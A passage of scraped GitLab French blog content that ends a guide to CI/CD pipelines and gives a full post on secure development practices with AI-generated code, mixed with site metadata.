qualité](https://about.gitlab.com/blog/guide-to-ci-cd-pipelines/) et permet de s'assurer que seul le code validé passe à l'étape suivante. Les premières étapes gèrent les vérifications de base, telles que la compilation et les tests unitaires. Les étapes ultérieures, quant à elles, peuvent inclure des tests d'intégration, de performance et de conformité, ainsi que des déploiements échelonnés dans divers environnements.\n\nLe pipeline peut être configuré de manière à nécessiter des approbations manuelles aux points critiques, par exemple avant le déploiement en production, tout en automatisant les tâches routinières. Les équipes de développement obtiennent ainsi un retour rapide sur l'état de leurs modifications. Cette approche structurée assure la cohérence, réduit les erreurs humaines et fournit une piste d'audit claire du transfert des modifications de code de l'environnement de développement vers l'environnement de production. Les pipelines modernes sont souvent implémentés sous forme de code et peuvent ainsi être contrôlés, testés et tenus à jour, de la même manière que le code applicatif.\n\nVoici d'autres termes associés à l'approche CI/CD qu'il est important de connaître :\n\n* **Validation :** une modification apportée au code\n* **Job :** une série d'instructions qu'un runner doit exécuter\n* **Runner :** un agent ou serveur qui exécute chaque job individuellement et qui peut se mettre à l'échelle selon les besoins\n* **Étapes :** un mot-clé qui définit certaines phases spécifiques d'un job, comme la phase de « compilation » et de « déploiement ». Les jobs d'une même étape s’exécutent en parallèle. Les pipelines sont configurés à l'aide d'un fichier YAML nommé `.gitlab-ci.yml`, soumis au contrôle de version et situé à la racine du projet.\n\n![Diagramme représentant un pipeline CI/CD](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673928/Blog/Content%20Images/1690824533476.png)\n\n## Bonnes pratiques pour réussir votre approche CI/CD\n\nVotre maîtrise de l'approche CI/CD dépend grandement des [bonnes pratiques](https://about.gitlab.com/fr-fr/blog/how-to-keep-up-with-ci-cd-best-practices/) que vous mettez en œuvre. \n\n#### Les bonnes pratiques en matière d'intégration continue\n\n* Validez tôt et souvent.\n* Optimisez les étapes du pipeline.\n* Simplifiez et accélérez les compilations.\n* Utilisez les échecs pour améliorer les processus.\n* Assurez-vous que l'environnement de test reflète l'environnement de production.\n\n#### Les bonnes pratiques en matière de livraison continue\n\n* Lancez-vous avec les outils et infrastructures disponibles, puis itérez pour améliorer vos processus.\n* Utilisez le moins d'outils possibles pour optimiser la livraison continue.\n* Surveillez l’avancée des projets en continu afin d’éviter l’accumulation de tickets ou de merge requests.\n* Simplifiez les tests d'acceptation par l'utilisateur et le déploiement vers l'environnement de préproduction grâce à l'automatisation.\n* Automatisez la gestion du pipeline de sortie des nouvelles versions.\n* Mettez en œuvre la surveillance du pipeline pour gagner en visibilité et en productivité. \n\n> ### Pour en savoir plus sur l'approche CI/CD, consultez notre [webinaire « Intro to CI/CD »](https://www.youtube.com/watch?v=sQ7Nw3o0izc).\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sQ7Nw3o0izc?si=3HpNqIClrc2ncr7Y\" title=\"Intro to CI/CD webinar\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Premiers pas avec l'approche CI/CD\n\nPour commencer à utiliser l'approche CI/CD, identifiez un projet simple mais représentatif qui servira de projet pilote. Sélectionnez une application simple avec des exigences de test basiques. Vous pourrez ainsi vous concentrer sur l'apprentissage du fonctionnement des pipelines plutôt que sur des scénarios de déploiement complexes. Assurez-vous que votre code est soumis au [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\") et qu'il comporte des [tests automatisés basiques](https://about.gitlab.com/blog/develop-c-unit-testing-with-catch2-junit-and-gitlab-ci/). Même quelques tests unitaires suffisent pour débuter. L'objectif est de [créer un pipeline basique](https://about.gitlab.com/blog/how-to-learn-ci-cd-fast/) que vous pourrez améliorer progressivement à mesure que vos compétences progressent.\n\nDans le cas de GitLab, le processus commence par la création d'un fichier `.gitlab-ci.yml` dans le répertoire racine de votre projet. Ce fichier YAML définit les étapes de base (comme la compilation, les tests et le déploiement) et les jobs de votre pipeline. Voici un exemple de pipeline simple : l'étape de « Compilation » compile votre code et crée des artefacts, l'étape de « Test » exécute les tests unitaires et l'étape de « Déploiement » effectue le push de votre application vers un environnement de préproduction. GitLab détecte automatiquement ce fichier et commence à exécuter votre pipeline chaque fois que des modifications sont transmises via un push vers votre dépôt. La plateforme fournit des [runners intégrés](https://docs.gitlab.com/runner/) pour exécuter les jobs de votre pipeline, mais vous pouvez également configurer vos propres runners si vous souhaitez davantage de contrôle.\n\nÀ mesure que vous maîtrisez les éléments de base, enrichissez votre pipeline progressivement avec des fonctionnalités plus avancées. Par exemple, ajoutez des contrôles de qualité du code, [le scanning de sécurité](https://docs.gitlab.com/ee/user/application_security/#security-scanning) ou le déploiement automatisé du nouveau code en production. La plateforme DevSecOps de GitLab inclut des fonctionnalités telles que la [gestion de la conformité](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/), les [variables de déploiement](https://about.gitlab.com/fr-fr/blog/demystifying-ci-cd-variables/) et les portes d'approbation manuelle que vous pouvez intégrer à mesure que votre pipeline évolue. Soyez attentif à la durée d'exécution du pipeline et exécutez dans la mesure du possible des jobs en parallèle. Pensez à ajouter des notifications et un traitement approprié des erreurs afin que les membres de l'équipe soient rapidement informés en cas d’échec de pipeline. Commencez à documenter les problèmes que vous rencontrez le plus souvent et les solutions adoptées. Ces données seront très utiles quand votre équipe s'agrandira.\n\n> ### Vous souhaitez en savoir plus sur l'approche CI/CD ? Inscrivez-vous à notre [cours GitLab University gratuit sur l'approche CI/CD](https://university.gitlab.com/courses/continuous-integration-and-delivery-ci-cd-with-gitlab).\n\n## Sécurité, conformité et approche CI/CD\n\nL'un des plus grands avantages de l'approche CI/CD est la possibilité d'intégrer des contrôles de sécurité et de conformité réguliers, et ce dès les premières étapes du cycle de développement logiciel. Dans GitLab, les équipes peuvent utiliser la configuration `.gitlab-ci.yml` pour déclencher automatiquement des scans de sécurité à plusieurs étapes, de la validation initiale du code à son déploiement en production. Les fonctionnalités d'analyse des conteneurs, d'analyse des dépendances et de scanning de sécurité ([Test dynamique de sécurité des applications](https://docs.gitlab.com/ee/user/application_security/dast/) et [Analyseur Advanced SAST de GitLab](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/)) de la plateforme peuvent être configurées pour s'exécuter automatiquement à chaque modification de code afin de rechercher les vulnérabilités, les violations des exigences de conformité et les erreurs de configuration de sécurité. L'API de la plateforme permet l'intégration avec des [outils de sécurité externes](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/), tandis que les fonctionnalités de couverture des tests garantissent que les tests de sécurité répondent aux seuils requis.\n\nLes rapports de test de sécurité de GitLab fournissent des informations détaillées sur les découvertes de vulnérabilités afin de remédier rapidement aux problèmes de sécurité avant qu'ils n'atteignent l'environnement de production. Le tableau de bord relatif à la sécurité fournit une vue centralisée des vulnérabilités détectées dans les différents projets, tandis que des [stratégies de sécurité peuvent être appliquées](https://about.gitlab.com/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/) via les approbations de merge request et les portes dans les pipelines. GitLab offre plusieurs niveaux de gestion des secrets pour protéger les données sensibles tout au long du processus CI/CD, y compris des journaux d'audit permettant de suivre l'accès à ces secrets. De plus, un contrôle d'accès basé sur les rôles (RBAC) garantit que seuls les utilisateurs autorisés peuvent consulter ou modifier les données de configuration sensibles.\n\nGitLab prend également en charge la génération de [nomenclatures logicielles (SBOM)](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/), qui fournissent un inventaire complet de l'ensemble des composants logiciels, dépendances et licences dans une application. Elles permettent aux équipes d'identifier et de corriger rapidement les vulnérabilités, ainsi que de se conformer aux exigences réglementaires.\n\n## Approche CI/CD et cloud\n\nLa plateforme CI/CD de GitLab offre une intégration robuste avec les principaux fournisseurs de services cloud, notamment [Amazon Web Services](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/), [Google Cloud Platform](https://about.gitlab.com/blog/provision-group-runners-with-google-cloud-platform-and-gitlab-ci/) et [Microsoft Azure](https://docs.gitlab.com/ee/install/azure/). Les équipes de développement logiciel peuvent ainsi automatiser leurs déploiements cloud directement à partir de leurs pipelines. Grâce aux intégrations cloud de GitLab, elles peuvent également gérer les ressources cloud, déployer des applications et surveiller les services cloud directement depuis l'interface de GitLab. Les templates de déploiement cloud intégrés et les fonctionnalités [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) de la plateforme réduisent considérablement la complexité des déploiements cloud. Les membres de l'équipe peuvent ainsi se concentrer sur le développement d'applications plutôt que sur la gestion de l'infrastructure. Pour les entreprises qui souhaitent automatiser leur infrastructure informatique à l'aide de [GitOps](https://about.gitlab.com/fr-fr/topics/gitops/ \"Qu'est-ce que GitOps ?\"), GitLab propose l'[intégration Flux CD](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/).\n\nLes fonctionnalités cloud de GitLab vont au-delà de la simple automatisation des déploiements. L'[intégration Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\") à la plateforme GitLab permet aux équipes de gérer l'orchestration des conteneurs entre plusieurs fournisseurs de services cloud. De plus, les [options d'installation cloud-native de GitLab](https://about.gitlab.com/fr-fr/topics/ci-cd/cloud-native-continuous-integration/) permettent à la plateforme elle-même de fonctionner dans des environnements cloud. Grâce à ces fonctionnalités cloud-native, les équipes peuvent mettre en œuvre des runners à mise à l'échelle automatique qui provisionnent dynamiquement les ressources cloud pour l'exécution de pipelines afin d'optimiser les coûts et les performances. Enfin, l'intégration de la plateforme avec les services de sécurité des fournisseurs de services cloud garantit le respect des exigences de sécurité et de conformité tout au long du processus de déploiement.\n\nPour les environnements multicloud, GitLab fournit des workflows et des outils cohérents, quel que soit le fournisseur de services cloud sous-jacent. Les équipes de développement peuvent utiliser les fonctionnalités de gestion de l'environnement de GitLab pour gérer différentes configurations cloud dans les environnements de développement, de préproduction et de production. La prise en charge de l'[Infrastructure as Code (IaC)](https://docs.gitlab.com/ee/user/infrastructure/iac/) de la plateforme GitLab, en particulier son intégration native avec Terraform, permet aux équipes de développement de contrôler les versions et d'automatiser le provisionnement de leur infrastructure cloud. Les fonctionnalités de surveillance et d'[observabilité](https://about.gitlab.com/fr-fr/blog/observability-vs-monitoring-in-devops/ \"Qu'est-ce que l'observabilité ?\") de GitLab s'intègrent aux indicateurs des fournisseurs de services cloud, offrant une visibilité complète de l'intégrité des applications et de l'infrastructure dans les différents environnements cloud.\n\n## Pipeline CI/CD avancé\n\nL'approche CI/CD a connu une évolution significative qui va bien au-delà de la simple construction et du déploiement de pipelines. Dans les mises en œuvre avancées, elle implique une orchestration sophistiquée des tests automatisés, du scanning de sécurité, du provisionnement de l'infrastructure, de l'IA et de bien d'autres aspects. Voici quelques stratégies CI/CD avancées pour aider les équipes d'ingénierie à améliorer leurs pipelines et à résoudre les problèmes qui surviennent, même lorsque la complexité de l'architecture augmente.\n\n### Réutilisation et automatisation des pipelines CI/CD\n\nGitLab révolutionne les pratiques des équipes de développement logiciel et de gestion des pipelines CI/CD en introduisant deux innovations majeures : le [catalogue CI/CD](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) et [CI/CD Steps](https://about.gitlab.com/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation/). Ce dernier est un nouveau langage de programmation expérimental dédié à l'automatisation DevSecOps. Le catalogue CI/CD est une plateforme centralisée où les équipes peuvent découvrir, réutiliser et optimiser les différents composants CI/CD. Ces derniers fonctionnent comme des blocs de construction réutilisables et à usage unique qui simplifient la configuration des pipelines au sein des workflows CI/CD. Parallèlement, CI/CD Steps offre la possibilité de gérer des workflows complexes en permettant aux équipes de configurer les entrées et sorties pour chaque job CI/CD. Avec le catalogue CI/CD et CI/CD Steps, les équipes DevSecOps peuvent facilement standardiser l'approche CI/CD et ses composants, et ainsi simplifier le processus de développement et de maintenance des pipelines CI/CD.\n\n> Pour en savoir plus, consultez notre [FAQ sur le catalogue CI/CD](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/) et notre [documentation sur CI/CD Steps](https://docs.gitlab.com/ee/ci/steps/).\n\n### Dépannage des pipelines avec l'IA\n\nBien qu'une défaillance des pipelines CI/CD soit possible, le dépannage rapide du problème peut considérablement réduire son impact. L'analyse des causes profondes de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \"Qu'est-ce que GitLab Duo ?\"), l'une des fonctionnalités alimentées par l'IA, élimine les hypothèses en [déterminant la cause profonde de l'échec d'un pipeline CI/CD](https://about.gitlab.com/fr-fr/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai/ \"Échecs de pipelines CI/CD\"). Lorsqu'un pipeline échoue, GitLab fournit des job logs détaillés, des messages d'erreur et des traces d'exécution qui indiquent exactement où et pourquoi l'échec s'est produit. L'analyse des causes profondes utilise ensuite l'IA pour suggérer une solution.\n\nDécouvrez la fonctionnalité d'analyse des causes profondes de GitLab Duo en action :\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sTpSLwX5DIs?si=J6-0Bf6PtYjrHX1K\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Comment migrer son code vers un pipeline GitLab CI/CD ?\n\nLa migration vers la plateforme DevSecOps de GitLab et son pipeline CI/CD intégré implique l'analyse systématique de vos configurations de pipeline, dépendances et processus de déploiement existants pour les mapper aux fonctionnalités et à la syntaxe équivalentes de GitLab. \n\nConsultez nos ressources pour faciliter votre migration vers GitLab CI/CD : \n\n* [Migration de Bamboo vers GitLab CI/CD](https://about.gitlab.com/blog/migrating-from-bamboo-to-gitlab-cicd/)\n* [De Jenkins à GitLab : le guide complet pour moderniser votre environnement CI/CD](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n* [Migrer de GitHub Advanced Security vers GitLab Ultimate : notre guide complet](https://about.gitlab.com/fr-fr/blog/migration-guide-github-advanced-security-to-gitlab-ultimate/)\n\n## Témoignages d'entreprises leaders dans leur domaine\n\nCes entreprises de premier plan ont migré vers GitLab et profitent des innombrables avantages de l'approche CI/CD. Découvrez leurs témoignages.\n\n* [Lockheed Martin](https://about.gitlab.com/fr-fr/customers/lockheed-martin/)\n* [Indeed](https://about.gitlab.com/fr-fr/blog/how-indeed-transformed-its-ci-platform-with-gitlab/)\n* [CARFAX](https://about.gitlab.com/fr-fr/customers/carfax/)\n* [HackerOne](https://about.gitlab.com/fr-fr/customers/hackerone/)\n* [Betstudios](https://about.gitlab.com/blog/betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium/)\n* [Thales et Carrefour](https://about.gitlab.com/blog/how-carrefour-and-thales-are-evolving-their-ci-cd-platforms/)\n\n## Tutoriels CI/CD\n\nDevenez un expert des pipelines CI/CD à l'aide de ces tutoriels : \n\n* [Intégration continue : créez votre premier pipeline CI avec GitLab](https://about.gitlab.com/fr-fr/blog/basics-of-gitlab-ci-updated/)\n* [Configuration de votre premier composant GitLab CI/CD](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n* [GitLab CI/CD : comment créer facilement un pipeline pour un monorepo](https://about.gitlab.com/fr-fr/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way/)\n* [Déployer en continu dans de multiples environnements avec les pipelines enfants](https://about.gitlab.com/fr-fr/blog/using-child-pipelines-to-continuously-deploy-to-five-environments/)\n* [Refactorisation d'un template CI/CD en composant CI/CD](https://about.gitlab.com/blog/refactoring-a-ci-cd-template-to-a-ci-cd-component/)\n\n> ### Commencez un [essai de GitLab Ultimate](https://gitlab.com/-/trials/new) et essayez gratuitement GitLab CI/CD.","devsecops",[108,684,753,731,9,703],{"slug":1130,"featured":90,"template":689},"ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation","content:fr-fr:blog:ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation.yml","Ultimate Guide To Ci Cd Fundamentals To Advanced Implementation","fr-fr/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation.yml","fr-fr/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"_path":1136,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":1137,"content":1140,"config":1146,"_id":1148,"_type":13,"title":1149,"_source":15,"_file":1150,"_stem":1151,"_extension":18},"/fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms",{"noIndex":6,"title":1138,"description":1139},"3 bonnes pratiques pour créer des logiciels à l'ère des LLM","La rapidité de codage avec l'IA appelle de nouvelles habitudes de sécurité. Découvrez comment les déployer tout au long du workflow DevSecOps.",{"title":1138,"description":1139,"authors":1141,"heroImage":1142,"body":1143,"date":1144,"category":729,"tags":1145},[707],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662523/Blog/Hero%20Images/Gartner_DevOps_Blog_Post_Cover_Image_1800x945__2_.png","L'IA s'impose désormais comme un pilier du développement logiciel moderne. En plus d'aider les équipes de développement à coder plus rapidement que jamais, elle automatise les tâches répétitives telles que la génération de scénarios de test ou la synthèse de la documentation. Selon notre [Rapport Global DevSecOps 2024](https://about.gitlab.com/fr-fr/developer-survey/), 81 % des développeurs utilisent déjà l'IA dans leurs workflows ou prévoient de le faire au cours des deux prochaines années.\n\nÉtant donné que l'écriture du code devient moins manuelle, un changement de comportement subtil mais non dénué de conséquences émerge : les développeurs commencent à faire confiance au code généré par l'IA sans le vérifier aussi minutieusement qu'auparavant. Aussi compréhensible soit-elle, cette pratique peut introduire des risques de sécurité inaperçus, d'autant plus lorsque le volume global de code augmente. Il serait irréaliste d'attendre des développeurs qu'ils maîtrisent toutes les vulnérabilités ou exploits existants. Ils ont donc besoin de systèmes et de mesures de protection capables d'évoluer à leur rythme. Les outils d'IA ne sont pas une mode transitoire, ils sont là pour durer. Les professionnels de la sécurité doivent donner aux équipes de développement les moyens de les adopter de manière à améliorer à la fois leur rapidité, leur efficacité, mais aussi la sécurité.\n\nVoici trois bonnes pratiques pour y parvenir. \n\n## Ne jamais faire confiance sans vérifier\n\nComme nous l'avons évoqué dans l'introduction, les équipes de développement ont tendance à accorder une confiance croissante au code généré par l'IA, en particulier lorsqu'il semble bien structuré et se compile sans erreur. Pour lutter contre ce relâchement, adoptez un état d'esprit Zero Trust. Bien que le principe du [Zero Trust](https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/) soit généralement associé à la gestion des identités et des accès, ce concept s'applique aussi au code généré par l'IA, mais avec une nuance notable : il faut le traiter comme s'il s'agissait d'un code écrit par un développeur junior. Il peut être utile, mais il ne doit jamais être déployé en production sans une revue rigoureuse. \n\nChaque développeur doit être en mesure d'expliquer le fonctionnement du code et de garantir sa sécurité avant qu'il ne soit fusionné. Dans ce contexte, la capacité à effectuer une revue en bonne et due forme du code généré par l'IA émerge comme une compétence à part entière et incontournable dans le développement logiciel. Les développeurs qui excellent dans ce domaine seront indispensables, car ils allient rapidité des LLM et réduction des risques de manière réfléchie pour produire un code sécurisé, plus rapidement. \n\nDes outils comme la [revue de code de GitLab Duo](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/) peuvent vous assister. Intégrée à notre assistant IA sur l'ensemble du cycle de développement, cette fonctionnalité enrichit le processus de revue de code. Son objectif n'est pas de remplacer l'expertise humaine, mais de la renforcer : en identifiant les oublis, les incohérences et les zones d'ombre dans les merge requests, l'IA aide les équipes à tenir le rythme de cycles de développement accélérés. \n\n## Sécuriser les modèles à l'aide de prompts\n\nLa puissance des [grands modèles de langage (LLM)](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/ \"Qu'est-ce qu'un LLM ?\") n'est plus à prouver, mais leur précision dépend des prompts qui leur sont fournis. C'est pourquoi l'ingénierie des prompts devient une compétence centrale de l'utilisation des outils d'IA. Dans le monde des LLM, la requête que vous formulez *est* votre interface. Les équipes qui apprennent à rédiger des prompts clairs et orientés sécurité joueront un rôle déterminant dans la création de logiciels plus sûrs dès les premières lignes de code.\n\nDes requêtes vagues produisent souvent des résultats vulnérables ou trop simplistes, par exemple, un prompt tel que « crée un formulaire de connexion ». En revanche, le résultat répondra aux normes de sécurité de votre entreprise si vous incluez plus de contexte avec une requête du type « crée un formulaire de connexion **avec** validation des intrants, limitation du débit, hachage sécurisé **et** prise en charge de méthodes d'authentification résistantes à l'hameçonnage, comme les clés d'accès ». \n\nUne [étude](https://www.backslash.security/press-releases/backslash-security-reveals-in-new-research-that-gpt-4-1-other-popular-llms-generate-insecure-code-unless-explicitly-prompted) récente de Backslash Security le confirme. Elle montre que les prompts spécifiquement orientés sécurité améliorent considérablement les résultats dans les LLM les plus courants. Lorsque les développeurs demandent simplement aux modèles d'« écrire du code sécurisé », la probabilité d'obtenir un résultat sécurisé reste faible. En revanche, les prompts qui font référence aux [bonnes pratiques de l'OWASP](https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html) guident efficacement les LLM. \n\nÀ l'avenir, l'ingénierie des prompts devra faire partie intégrante de la formation des équipes de sécurité au sein des équipes de développement logiciel. Tout comme sont enseignés les coding patterns sécurisés et la modélisation des menaces, expliquer aux développeurs comment guider les outils d'IA sans se départir de cette approche centrée sur la sécurité devient indispensable. \n\n> Pour aller plus loin, consultez ces [conseils utiles sur l'ingénierie des prompts](https://docs.gitlab.com/development/ai_features/prompt_engineering/).\n\n## Tout analyser, sans exception\n\nAvec l'essor de l'IA, les équipes écrivent davantage de code, plus rapidement, sans pour autant être plus nombreuses. Ce changement doit profondément modifier notre conception de la sécurité. Il ne s'agit plus seulement d'une vérification finale, mais d'une protection permanente intégrée à tous les aspects du processus de développement.\n\nUne plus grande quantité de code implique davantage de possibilités d'attaques. Et lorsque ce code est partiellement ou entièrement généré, il devient illusoire de s'en remettre uniquement à des pratiques de codage sécurisées ou à l'intuition de chaque développeur pour repérer les vulnérabilités. C'est là que le scanning de sécurité automatisé entre en jeu. Les [tests statiques de sécurité des applications (SAST)](https://docs.gitlab.com/user/application_security/sast/), l'[analyse de la composition logicielle (SCA)](https://docs.gitlab.com/user/application_security/dependency_scanning/) et la [détection des secrets](https://docs.gitlab.com/user/application_security/secret_detection/) sont aujourd'hui des garde-fous indispensables pour atténuer le risque de fuites de secrets, d'attaques de la chaîne d'approvisionnement logicielle et de faiblesses telles que les injections SQL. Sur des plateformes comme GitLab, la [sécurité des applications](https://about.gitlab.com/fr-fr/solutions/security-compliance/) est intégrée en amont dans le workflow des équipes de développement et représente un composant à part entière du cycle de développement. Les scanners peuvent également parcourir l'ensemble du programme pour s'assurer que le nouveau code généré par l'IA est sécurisé *dans le contexte de tout le reste du code*. Cela peut être difficile à repérer si vous ne vérifiez que le nouveau code dans votre IDE ou dans un correctif généré par l'IA.\n\nMais les analyses ne suffisent pas, il s'agit de tenir le rythme. Si les équipes de développement veulent suivre la rapidité du développement assisté par l'IA, elles ont besoin d'analyses rapides, précises et évolutives. L'exactitude est particulièrement importante. Si les scanners submergent les équipes de développement de faux positifs, ces dernières risquent de perdre entièrement confiance dans le système. \n\nLa seule façon d'agir rapidement *et* de maintenir la sécurité est d'imposer les scans. \n\nÀ chaque commit. Sur chaque branche. Sans exception.\n\n## Sécurisez votre code généré par l'IA avec GitLab\n\nL'IA modifie la façon dont nous créons des logiciels, mais les principes fondamentaux du développement logiciel sécurisé s'appliquent toujours : le code doit faire l'objet d'une revue rigoureuse, des tests doivent être effectués pour contrer les menaces et la sécurité doit toujours être intégrée à chaque étape du cycle de développement. C'est précisément l'approche adoptée par GitLab. \n\nNotre plateforme de développement n'ajoute pas la sécurité en bout de chaîne au workflow. Elle l'intègre directement là où les équipes travaillent déjà : dans l'IDE, dans les merge requests et à chaque étape du [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"). Les scans s'exécutent automatiquement, et le contexte de sécurité le plus pertinent est mis en évidence pour accélérer les cycles de correction. Comme ces fonctionnalités sont disponibles sur une seule plateforme, celle-là même où les équipes de développement créent, testent et déploient des logiciels, ces dernières n'ont pas à jongler entre différents outils, ni à changer de contexte ou lutter pour obtenir du code sécurisé.\n\nLes fonctionnalités d'IA telles que [l'explication et la résolution des vulnérabilités de GitLab Duo](https://about.gitlab.com/fr-fr/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/) améliorent la rapidité de développement et mettent à disposition des informations stratégiques qui aident les équipes à comprendre les risques et à les corriger plus rapidement, sans interrompre leur workflow.\n\nL'IA n'est pas une solution miracle pour sécuriser le code. Néanmoins, associée aux bonnes pratiques et à une plateforme conçue pour les développeurs, elle peut participer grandement à la création rapide de logiciels sécurisés et évolutifs. \n\n> [Essayez gratuitement GitLab Ultimate avec GitLab Duo Enterprise](https://about.gitlab.com/fr-fr/free-trial/?hosted=saas) et créez des logiciels sécurisés, plus rapidement. Grâce au scanning de sécurité natif, aux analyses alimentées par l'IA et à une expérience développeur optimisée, GitLab vous aide à renforcer la sécurité en amont, sans jamais freiner l'innovation.","2025-08-12",[685,9],{"featured":90,"template":689,"slug":1147},"3-best-practices-for-building-software-in-the-era-of-llms","content:fr-fr:blog:3-best-practices-for-building-software-in-the-era-of-llms.yml","3 Best Practices For Building Software In The Era Of Llms","fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms.yml","fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms",3,[666,694,715,739,762,785,805,826,846],1758662402061]